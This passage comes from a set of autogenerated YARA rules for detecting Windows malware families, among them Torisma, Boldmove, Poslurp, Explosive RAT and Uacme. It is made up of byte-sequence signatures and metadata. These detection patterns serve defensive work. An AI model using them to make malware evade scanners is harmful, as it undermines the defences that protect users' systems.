		$sequence_6 = { ff15???????? 85c0 0f94c3 85db 7508 }
		$sequence_7 = { 6683f83f 7607 32c0 e9???????? }
		$sequence_8 = { c3 81f998000000 7410 81f996000000 7408 }
		$sequence_9 = { 66894108 33c0 39410c 740b }
		$sequence_10 = { ff15???????? bd6f000000 3bc3 7405 }
		$sequence_11 = { e8???????? 8bf0 85c0 7433 8b542478 d1ea 7420 }
		$sequence_12 = { ff15???????? 3bc7 0f84d4010000 8b542430 }
		$sequence_13 = { 2bc1 85c9 7403 83c008 }
		$sequence_14 = { 83fb04 7cdc 8b5df8 8ad3 02d2 8ac7 c0e804 }
		$sequence_15 = { 83e001 51 894614 c7461ce0164000 c74620f0164000 c7462410174000 }
		$sequence_16 = { 897e14 897e70 c686c800000043 c6864b01000043 c7466878d14600 6a0d }
		$sequence_17 = { c745fc00000000 ff15???????? 50 e8???????? 8bd8 }
		$sequence_18 = { 03c2 c1f802 57 50 33db 33f6 e8???????? }
		$sequence_19 = { 6a00 50 e8???????? 83c40c c7450800000000 }
		$sequence_20 = { 83f805 7d10 668b4c4310 66890c45b8e14600 40 }
		$sequence_21 = { c705????????cf2f4000 8935???????? a3???????? ff15???????? a3???????? 83f8ff }
	condition:
		7 of them and filesize < 1642496
}

rule MALPEDIA_Win_Torisma_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "c0490c82-c45a-54e7-aa2a-3188c569a1ea"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.torisma"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.torisma_auto.yar#L1-L128"
		license_url = "N/A"
		logic_hash = "4aa02301b79ecba1924d78ea53a128f60820750cf7fd370e510af85a61be0b19"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { e8???????? 3d83490000 7507 b883490000 }
		$sequence_1 = { 7402 eb05 e9???????? b833280000 }
		$sequence_2 = { e8???????? 3d514b0000 7504 33c0 }
		$sequence_3 = { 8b3f c1ef02 83e701 c1e702 }
		$sequence_4 = { 488b4c2440 e8???????? 488b442460 488b4018 48c70000000000 }
		$sequence_5 = { 488b00 488b7820 33c0 b920000000 }
		$sequence_6 = { 48894c2408 57 4883ec40 48c744242000000000 }
		$sequence_7 = { ff2495c0d50010 8bc7 ba03000000 83e904 }
		$sequence_8 = { 837c242000 7504 33c0 eb23 }
		$sequence_9 = { 894dec 6a00 ff15???????? 8d55dc 52 }
		$sequence_10 = { 51 8b5510 52 6a25 6a20 }
		$sequence_11 = { 6a02 8b4da4 8b11 52 }
		$sequence_12 = { c1e104 8b94242c010000 0bd1 8bca }
	condition:
		7 of them and filesize < 322560
}

rule MALPEDIA_Win_Minibus_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "9a553746-bfda-50b5-bcb8-f78a742705c0"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.minibus"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.minibus_auto.yar#L1-L121"
		license_url = "N/A"
		logic_hash = "633d35aef0c45891bfd2d9690e003786b5685be07a68c0378a6a4c37c3387340"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 7cc3 eb25 85db 7421 83ceff 8bc6 }
		$sequence_1 = { 0fb742fe 83f85c 7438 83f82f 7433 8b4de4 }
		$sequence_2 = { 50 8d7720 e8???????? 8b9590fdffff 8b8584fdffff }
		$sequence_3 = { e8???????? 8945f8 3bd8 0f841d010000 }
		$sequence_4 = { 8d4701 3dffffff7f 0f87e8000000 03c0 3d00100000 722a }
		$sequence_5 = { 83fa08 7202 8b3e 8d041b 50 ff75f8 }
		$sequence_6 = { 33ff 33db 897de4 895de8 85f6 7421 }
		$sequence_7 = { e8???????? 8b4de8 83c40c 83f908 7234 }
		$sequence_8 = { 8bf1 8975b8 8975ac c745b000000000 c7461000000000 c7461400000000 c70600000000 }
		$sequence_9 = { 8bd1 57 c70600000000 c74604ffff0000 8b4a1c 8bc1 }
	condition:
		7 of them and filesize < 324608
}

rule MALPEDIA_Win_Boldmove_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "3bdf90c7-36e1-5e06-8df9-776b6e88680a"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.boldmove"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.boldmove_auto.yar#L1-L127"
		license_url = "N/A"
		logic_hash = "3d258453779af88e427ea6662db58aa1b287b8846df27e0a7720298a0095c401"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 8b4308 890424 ff15???????? 50 50 8b4308 890424 }
		$sequence_1 = { 83e104 89442454 894c2418 0f852f0e0000 }
		$sequence_2 = { 56 53 83ec20 e8???????? a1???????? dd5df0 83780c00 }
		$sequence_3 = { d9ee 8b5c245c 8944245c 83c701 dbe9 897c2434 }
		$sequence_4 = { 8b449908 85c0 7415 890424 e8???????? a1???????? c744980800000000 }
		$sequence_5 = { c7042404000000 e8???????? c7434000000000 89433c e8???????? dd5b08 0fb617 }
		$sequence_6 = { 8d85c8fbffff c744240c07000000 89442408 c744240400040000 893424 e8???????? 8b85c8fbffff }
		$sequence_7 = { 66250045 663d0005 0f84f3040000 6681e2ff7f }
		$sequence_8 = { 39f0 b800000000 0f47d0 8d440b04 01d9 89442404 89542408 }
		$sequence_9 = { d905???????? d9c1 d8c1 d9cb dbf3 dddb 0f87a7030000 }
	condition:
		7 of them and filesize < 242688
}

rule MALPEDIA_Win_Slothfulmedia_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "12866e57-5c22-5ece-ab6b-edebb824500e"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.slothfulmedia"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.slothfulmedia_auto.yar#L1-L175"
		license_url = "N/A"
		logic_hash = "8cdce0e96c9b360c003407b809360fea7e440aeaa30b884d65090695657af8b0"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 8365f000 837d1400 53 56 57 0f86a0000000 8b5d10 }
		$sequence_1 = { 68df3d7a6b 50 e8???????? 57 ff15???????? 57 }
		$sequence_2 = { d1f8 8b45fc 7505 b8???????? 50 57 }
		$sequence_3 = { 397df4 0f8640ffffff 8b4508 e8???????? cc 55 8bec }
		$sequence_4 = { 33c0 eb17 57 ff750c }
		$sequence_5 = { ff7320 6a00 6a00 ffb33c020000 ff15???????? 8945f8 }
		$sequence_6 = { ff7514 56 ff15???????? 56 ff15???????? 8b4508 eb02 }
		$sequence_7 = { 1bd2 83daff 85d2 7422 83f805 761f }
		$sequence_8 = { ff15???????? 8b8c2410020000 5f 5e 33cc }
		$sequence_9 = { 6689442414 e8???????? 83c40c 6a00 ff15???????? 8b35???????? 8b3d???????? }
		$sequence_10 = { 83c40c 6804010000 8d44240c 50 6a00 }
		$sequence_11 = { 85c0 7507 ffd7 83f805 74ee 6804010000 }
		$sequence_12 = { 8b35???????? 8b3d???????? 90 68???????? ffd6 85c0 }
		$sequence_13 = { 8d4c2410 51 ff15???????? 8b8c2410020000 }
		$sequence_14 = { e8???????? 81c40c020000 c21000 3b0d???????? 7502 }
		$sequence_15 = { 6804010000 8d54240c 6a00 52 e8???????? 83c40c }
	condition:
		7 of them and filesize < 122880
}

rule MALPEDIA_Win_Crenufs_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "487ba1c7-31dd-5f61-bb00-5c9d73db857b"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.crenufs"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.crenufs_auto.yar#L1-L126"
		license_url = "N/A"
		logic_hash = "b8d4f6abd83faf05e3956845ba58bcd09d9f7c4a785dc9758948905ec6301e11"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 6a01 8d4de4 ff15???????? 8b4df4 5f 5e 5b }
		$sequence_1 = { 8b7610 c744241000000000 3930 770a }
		$sequence_2 = { 50 56 8d4de0 ff15???????? 57 68???????? }
		$sequence_3 = { 8bf9 56 897c2418 e8???????? 56 ff15???????? }
		$sequence_4 = { c7461001000000 8bde ff15???????? 392d???????? 7512 8935???????? 892e }
		$sequence_5 = { 52 8d7e58 6a04 57 50 ffd5 }
		$sequence_6 = { 03ca 894c2438 3b4b18 740d 8b4c2454 c74118ccc74000 eb61 }
		$sequence_7 = { ff15???????? 834dfcff 6a01 8d4ddc ff15???????? 8b4df4 8bc6 }
		$sequence_8 = { 53 50 68???????? 53 ff15???????? 6a01 8d4db0 }
		$sequence_9 = { ff15???????? e9???????? a1???????? bf???????? 83c9ff }
	condition:
		7 of them and filesize < 106496
}

rule MALPEDIA_Win_Poslurp_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "de29f131-c10c-5b1a-9ede-2dfe5ee182bf"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.poslurp"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.poslurp_auto.yar#L1-L115"
		license_url = "N/A"
		logic_hash = "dafce983a197626ced3ffe7ea55c9454b2349c0bd7691c948d5ed2bf42cf11d0"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 4883f8ff 743d 448d4f02 4533c0 33d2 488bc8 }
		$sequence_1 = { 3905???????? 7309 33c9 ff15???????? }
		$sequence_2 = { 44891d???????? eb0b 6689445420 41ffc0 48ffc2 4883c9ff 33c0 }
		$sequence_3 = { 48f7d1 4883e901 7458 448b0d???????? }
		$sequence_4 = { 4c8bf0 488bf8 33c0 f3aa 498bce 488bd5 }
		$sequence_5 = { 740e 0f1f4000 488b1b 66837b3818 }
		$sequence_6 = { ff15???????? 4883f830 0f85b3000000 817c245000100000 }
		$sequence_7 = { 4d897b08 4d897bc8 8b7c0850 4c8bf2 488be9 4d897ba0 }
		$sequence_8 = { 0f84d5000000 6666660f1f840000000000 0fb703 ffc9 83e830 }
		$sequence_9 = { ffce 488bd5 48d1f9 8bfb 85c9 }
	condition:
		7 of them and filesize < 50176
}

rule MALPEDIA_Win_Explosive_Rat_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "fcdedcfb-8d9a-5318-b6f5-1c975904e20d"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.explosive_rat"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.explosive_rat_auto.yar#L1-L131"
		license_url = "N/A"
		logic_hash = "41c4f7e33c52dbbd452e704e97d77f2addf0978f42a72a996b63009951e0b21e"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 85c0 0f84fb000000 68???????? 68???????? ffd6 85c0 0f84e7000000 }
		$sequence_1 = { 72cc 5d 8b442428 be10000000 3bc6 720d }
		$sequence_2 = { 8d4514 50 8d4d0c e8???????? 84c0 8b7520 }
		$sequence_3 = { 8902 8908 894104 5b c20400 894208 8908 }
		$sequence_4 = { 89bdc4010000 89bdc8010000 6689bdd4010000 e8???????? 8bb508040000 83c41c }
		$sequence_5 = { e8???????? 3bfb 745b 395d14 7539 6a34 e8???????? }
		$sequence_6 = { 8d8d44ffffff e8???????? 8d8d04f5feff e8???????? 8b8558ffffff 8985f801ffff 89853402ffff }
		$sequence_7 = { 3bfb 745b 395d14 7539 6a18 e8???????? 59 }
		$sequence_8 = { 8d8d44ffffff e8???????? 8d8d7cffffff e8???????? 807d2475 0f8537010000 53 }
		$sequence_9 = { 663bf2 771d 7220 41 41 40 40 }
	condition:
		7 of them and filesize < 855040
}

rule MALPEDIA_Win_Bughatch_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "f21da185-8629-53ca-b1ab-60be907f0853"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.bughatch"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.bughatch_auto.yar#L1-L123"
		license_url = "N/A"
		logic_hash = "8c2d742c99e41f022aebe397e085bdb9d00214c3c4ebe4e2052113f6ff7a225a"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 83ec10 8b4508 8945f0 8b4df0 8b5508 03513c 8955f4 }
		$sequence_1 = { 8945fc 8d95f8f7ffff 52 e8???????? 83c404 8945f8 8b45f8 }
		$sequence_2 = { 6a00 e8???????? 83c40c eb41 8b450c 50 68???????? }
		$sequence_3 = { d1e8 8945f4 8b4d08 894df8 c745fc00000000 eb09 }
		$sequence_4 = { 6a00 8d4de8 51 6a00 8b55fc }
		$sequence_5 = { ba01000000 6bc200 c6840588fdffff00 837d0c00 7507 33c0 e9???????? }
		$sequence_6 = { ff15???????? 8b4df8 51 ff15???????? 8b45e0 }
		$sequence_7 = { 6a00 6a00 ff15???????? b904000000 }
		$sequence_8 = { 68???????? 8d8d94f7ffff 51 ff15???????? 8b550c }
		$sequence_9 = { e9???????? 8d55f0 52 8b45e0 50 8b4de4 }
	condition:
		7 of them and filesize < 75776
}

rule MALPEDIA_Win_Huskloader_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "baa8dc28-4bde-5660-bacb-e311987b66fe"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.huskloader"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.huskloader_auto.yar#L1-L128"
		license_url = "N/A"
		logic_hash = "efaf6361c8e2a990c1d94ea51b671a22e525594bb6c413d70cb1d93190351b34"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 8d7f08 8b048d04330010 ffe0 f7c703000000 7413 8a06 }
		$sequence_1 = { 894db0 8b048de88d0110 8975b4 8b440618 8b7514 }
		$sequence_2 = { 6a00 6aff 66c7861a0600000111 ff15???????? 85c0 7430 682d060000 }
		$sequence_3 = { 7712 0fb7c1 0faee8 0fb688181c0110 83e10f eb02 }
		$sequence_4 = { e8???????? c70016000000 e8???????? 5d c20400 53 56 }
		$sequence_5 = { 8904bde88d0110 85c0 7514 6a0c 5e 8975e4 c745fcfeffffff }
		$sequence_6 = { 8db708020000 56 ff15???????? 56 ff15???????? 68???????? }
		$sequence_7 = { 682d060000 6a00 6a04 6a00 6aff ff15???????? 85c0 }
		$sequence_8 = { 5e 5d c3 e8???????? 85c0 0f8442310000 c3 }
		$sequence_9 = { 7551 e8???????? c70021000000 eb44 c745e002000000 c745e4c45e0110 }
	condition:
		7 of them and filesize < 229376
}

rule MALPEDIA_Win_Stabuniq_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "4275e6d0-94cf-5d7a-8be9-58ce93adc0df"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.stabuniq"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.stabuniq_auto.yar#L1-L129"
		license_url = "N/A"
		logic_hash = "27eb79a741b72a16cbff924e64623723e98e0bb2251ce5257f82f37046f960f7"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 6a05 8b55fc 52 8b4510 }
		$sequence_1 = { 8b913c020000 52 8b45ec 50 8b4df0 51 8b5508 }
		$sequence_2 = { 8b4508 50 8b4df8 ff91ec000000 8945fc 8b55f0 83ea04 }
		$sequence_3 = { 8b55fc 52 8b4514 05ab0e0000 50 8b4d0c 51 }
		$sequence_4 = { 8b4d0c 8d9401b2170000 52 8d85f8fdffff 50 8b4d0c ff5130 }
		$sequence_5 = { 50 8b8d24fdffff 51 8b5510 ff520c 6a40 }
		$sequence_6 = { 85c0 7535 8b8decfbffff 6bc928 8b5510 8d840ab2170000 50 }
		$sequence_7 = { c745f800000000 837dfc00 7e32 8b55f8 83c201 8955f8 8b45fc }
		$sequence_8 = { 83ba8000000000 750a b801000000 e9???????? 8b45f0 8b8880000000 034d08 }
		$sequence_9 = { 8b4510 8b4d18 8a9411dc0e0000 8810 8b4510 83c001 }
	condition:
		7 of them and filesize < 57344
}

rule MALPEDIA_Win_Hodur_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "529f3e13-6dbd-5bfd-9d2e-8112cb176080"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.hodur"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.hodur_auto.yar#L1-L134"
		license_url = "N/A"
		logic_hash = "52f28b8a0f887df21ab70c260b17a2f99e348211a9b139c663c0b81c4937fcbf"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { ff15???????? 83c414 0f2805???????? 833d????????0a 0f11442468 66c74424781b3e c644247a00 }
		$sequence_1 = { 8b15???????? 8b3d???????? 8d42ff 0fafc2 83e001 83ff0a 7c15 }
		$sequence_2 = { c684243801000000 7c0f 8d48ff 0fafc8 83e101 0f85a0260000 8d8c2430010000 }
		$sequence_3 = { 7c0b 8d41ff 0fafc1 83e001 752a 6a5c 55 }
		$sequence_4 = { c74424080c043500 7c14 a1???????? 8d48ff 0fafc8 83e101 0f85b10b0000 }
		$sequence_5 = { 6a5c 8d842454040000 50 e8???????? 83c408 833d????????0a 89c7 }
		$sequence_6 = { c78424e0000000b9ffceff 7c15 8b0d???????? 8d51ff 0fafd1 83e201 0f85ab0a0000 }
		$sequence_7 = { ebfe 833d????????0a 66c784249a0000000000 7c12 a1???????? 8d48ff 0fafc8 }
		$sequence_8 = { 7c0d 8d50ff 0fafd0 83e201 7402 ebfe e8???????? }
		$sequence_9 = { 75f4 c6410d00 e8???????? 53 ff75e4 ffd0 833d????????0a }
	condition:
		7 of them and filesize < 1067008
}

rule MALPEDIA_Win_Zxxz_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "6bed2c22-407f-5c6f-838c-89149563448f"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.zxxz"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.zxxz_auto.yar#L1-L161"
		license_url = "N/A"
		logic_hash = "9578e76393d5b7664234570897b9446d75c18108dd9f2d16b199e15d869c1364"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { ffd3 e8???????? 6830750000 ffd3 6a01 6a00 }
		$sequence_1 = { 68fa000000 50 ffd5 83c40c 68???????? 8d4c2414 }
		$sequence_2 = { c605????????01 6830750000 ffd3 68???????? }
		$sequence_3 = { c20400 8bfe 83cf0f 81ffffffff7f 7627 }
		$sequence_4 = { 8d4c2430 c744241401000000 c644242400 ff15???????? 8bc5 8b4c241c }
		$sequence_5 = { 83c404 e8???????? 803d????????00 7435 33c0 68fe1f0000 }
		$sequence_6 = { ff7508 8945f4 6a00 68e9fd0000 ffd0 }
		$sequence_7 = { 51 ff55ec 83c404 8bc6 8bcf 8901 }
		$sequence_8 = { 6a01 6a01 68???????? ffd7 a1???????? 2bc3 }
		$sequence_9 = { 8b01 ff5004 c745fcffffffff 8b9558feffff 83c2f0 }
		$sequence_10 = { eb23 03c8 c744241c01000000 83fa02 770c 8079fe3d 7506 }
		$sequence_11 = { 33c0 68f8000000 8bd9 50 }
		$sequence_12 = { c705????????1cb94000 7410 a1???????? 85c0 7407 50 }
		$sequence_13 = { 85c0 0f84ef000000 eb06 8bc7 8930 }
		$sequence_14 = { 8bc6 8931 6a00 6a00 53 }
	condition:
		7 of them and filesize < 4142080
}

rule MALPEDIA_Win_Uacme_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "53c60ae4-37ff-5d21-9239-76220be2dce4"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.uacme"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.uacme_auto.yar#L1-L125"
		license_url = "N/A"
		logic_hash = "3f55ec845579c619785e67b0034681c5b25544222a3c6be5c29fd4298627878a"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 8d45e8 50 ff15???????? 2175f8 8d45f8 50 8d45f0 }
		$sequence_1 = { 8d85ecfbffff 50 8d85ccf3ffff 50 }
		$sequence_2 = { 50 8d45b4 50 68???????? ff15???????? 8bf0 }
		$sequence_3 = { 8bcf c60000 40 83e901 75f7 8b1d???????? 394d10 }
		$sequence_4 = { ff75f4 53 ff15???????? ff75fc 53 ff15???????? 6807700000 }
		$sequence_5 = { 83ee01 75f7 68???????? 8d85c8fdffff 50 }
		$sequence_6 = { 5d c3 ff7508 8bd3 8d8de0f7ffff e8???????? 59 }
		$sequence_7 = { 8975dc 8975cc 85f6 7421 8b55e0 }
		$sequence_8 = { 8906 5e 8b45fc 8be5 5d c3 55 }
		$sequence_9 = { 3db7000000 0f8593010000 ba???????? 8d8ddcfbffff e8???????? 6a00 }
	condition:
		7 of them and filesize < 565248
}

rule MALPEDIA_Win_Xpan_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "9c9e2899-7c42-5d4a-8e72-8695f33e2151"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.xpan"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.xpan_auto.yar#L1-L131"
		license_url = "N/A"
		logic_hash = "02ec4378c7469aa379433aa31077402814d90eca993bb596a3f9dbc0c47c27e0"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 8b16 899310010000 8b542414 e8???????? 89b310010000 e9???????? 8b6904 }
		$sequence_1 = { 8b4d10 85c9 0f84cdfdffff 66837d14ff bb01000000 0f84d7000000 8b4d08 }
		$sequence_2 = { 0fb64c2454 8b442440 896c2408 88542418 890424 894c2404 }
		$sequence_3 = { 8b4508 c685f0feffff00 890424 e8???????? 8d8d60ffffff 8985d4feffff e8???????? }
		$sequence_4 = { b904000000 89f5 e9???????? 8b8c24b0000000 8b5004 8b00 }
		$sequence_5 = { 89eb 0f841dffffff f744245400040000 7483 0fb6442454 89742408 892c24 }
		$sequence_6 = { 8b4bf4 85c9 7438 807dc600 8d45e4 8945c8 }
		$sequence_7 = { 89d3 75ed 8b4728 83f8ff 7475 39f0 0f4df0 }
		$sequence_8 = { 7412 85ff 0f846e010000 85c0 ba???????? 0f44c2 85f6 }
		$sequence_9 = { 85d2 89742418 8b6c2444 8b74241c 0f8571feffff c647ff00 b801000000 }
	condition:
		7 of them and filesize < 3235840
}

rule MALPEDIA_Win_Fishmaster_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "85781cdb-ef0a-5ba4-9f1c-a71e1fb971a5"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.fishmaster"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.fishmaster_auto.yar#L1-L122"
		license_url = "N/A"
